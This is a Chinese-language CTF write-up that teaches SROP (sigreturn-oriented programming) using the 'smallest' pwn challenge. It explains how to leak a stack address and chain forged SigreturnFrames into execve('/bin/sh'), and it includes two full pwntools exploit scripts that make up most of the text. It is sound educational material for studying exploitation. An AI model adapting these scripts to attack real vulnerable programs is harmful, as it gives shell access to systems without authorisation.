基础看ctf-wiki和《权威指南pwn》

出自论文: Framing Signals — A Return to Portable Shellcode

理论基础

32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)

攻击条件

1.栈溢出,且大小足够

2.知道以下内容地址

“/bin/sh”、signal frame、syscall、sigreturn

对sigreturn, 只要rax=15(64位下),执行syscall即可,rax可以通过一些方式来间接控制,比如作为read的返回值(读取的字节数)

例题 360 春秋杯 smallest-pwn

image-20230729163815299

​ 这个不能用正常程序的流程来看待,就这几行汇编, 首先向栈顶读取了0x400字符,然后ret, 又会从栈顶取值作为下一条指令.

​ 程序中没有sigreturn系统调用,但是有read,通过read可以控制rax寄存器的值, 然后再调用syscall即可,换句话说,其实可以调用任意的系统调用(不考虑其他寄存器是否满足条件)

​ execve(“/bin/sh”,0,0) 最终的目标是要执行这个, 但现在最大的问题是, 不知道”/bin/sh”的地址,所以需要想办法泄露栈地址,然后输入到这个确定的地址上面.

攻击步骤

1.泄露地址

​ 因为ret后从rsp取值,所以rsp这里要放几个程序的起始地址start_addr,然后首先要利用write输出栈的地址,可以看到这两句指令

1
2
3
mov rsi,rsp
mov rdi,rax
syscall

​ 如果利用之前的read把rax控制为1,那么就可以调用write的系统调用了,而rsi正好是rsp,所以可以输出一个rsp中的一个栈指针,理论上也是指向栈的某个位置.

要执行write的话,需要跳过xor这条指令,所以是不是应该在rsp上放一个0x400b3,也就是xor下一条指令的地址呢? 理论上需要,其实也不用,因为在输入一个字符的时候,可以输入\xb3, 这样把rsp上原先存放的start_addr地址的最后一个字节改了,也可以实现这个效果

image-20230729115321236

1
2
3
4
5
6
payload = p64(start_addr) * 3
sh.send(payload)

sh.send('\xb3')
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr))

​ 在输出的时候可以看到第二个地址才是栈上地址,所以取值[8:16], 为啥rsp上面要放3三个初始地址呢?

​ 第一个用来读入 \xb3, 第二个时 进入了write,泄露地址, 第三个该继续走下面流程了

image-20230729164917698

2.构造frame: 实现读入已知地址的功能

​ 刚开始非常纳闷…这段汇编给的就是read的汇编,为啥要用frame构造啊….后来想明白后,还是自己太想当然了,前面给的read的汇编是不知道rsp的地址的,通过构造的frame,在恢复的时候,可以指定rsp的值,这样才能知道/bin/sh的地址(或许可以暴力破解?

1
2
3
4
5
6
7
8
9
10
11
12
13
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + 'a' * 8 + str(sigframe)
sh.send(payload)

## set rax=15 and call sigreturn
sigreturn = p64(syscall_ret) + 'b' * 7
sh.send(sigreturn)

​ 7个b不会影响吗??? 会覆盖sigframe的开头,但是不知道覆盖的哪个寄存器????,不过看结果是没影响的

3. 读如execve的frame,然后执行

1
2
3
4
5
6
7
8
9
10
11
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120 # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
frame_payload = p64(start_addr) + b"b"*8 + bytes(sigframe)
payload = frame_payload + (0x120-len(frame_payload))*b'\x00'+b'/bin/sh\x00'
sh.send(payload)
sh.send(sigreturn)

​ 与2原理一样,读入frame,然后执行

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
small = ELF('./smallest')

if args['REMOTE']:
sh = remote('127.0.0.1', 7777)
else:
sh = process('./smallest')
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(sh)
context.arch = 'amd64'
context.log_level = 'debug'
syscall_ret = 0x00000000004000BE
start_addr = 0x00000000004000B0
payload = p64(start_addr) * 3

sh.send(payload)
pause()
sh.send("\xb3")
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr))

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + b'a'*8 + bytes(sigframe)
sh.send(payload)
sigreturn = p64(syscall_ret) + b"b"*7
pause()
sh.send(sigreturn)

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120 # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
pause()
frame_payload = p64(start_addr) + b"b"*8 + bytes(sigframe)
payload = frame_payload + (0x120-len(frame_payload))*b'\x00'+b'/bin/sh\x00'
sh.send(payload)
pause()
sh.send(sigreturn)
sh.interactive()

暴力破解解法

​ 不过这个解法也是基于在本地能大概看一下偏移差多少的情况下,如果直接暴力破解的话,难度应该会更大一点

image-20230729210328031

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
small = ELF('./smallest')

sh = process('./smallest')
context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(sh)
context.arch = 'amd64'
context.log_level = 'debug'
syscall_ret = 0x00000000004000BE
start_addr = 0x00000000004000B0
payload = p64(start_addr) * 3

sh.send(payload)
#pause()
sh.send(b"\xb3")
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr))


sigreturn = p64(syscall_ret) + b"b"*7

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr -0xa1f # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
frame_payload = p64(start_addr) + b"c"*8 + bytes(sigframe)
payload = frame_payload + b'/bin/sh\x00'*90
#pause()
sh.send(payload)
sh.send(sigreturn)
sh.interactive()

其他

gdb中如何查看 sigframe结构?

gdb查看结构体信息

https://wizardforcel.gitbooks.io/100-gdb-tips/content/set-print-pretty-on.html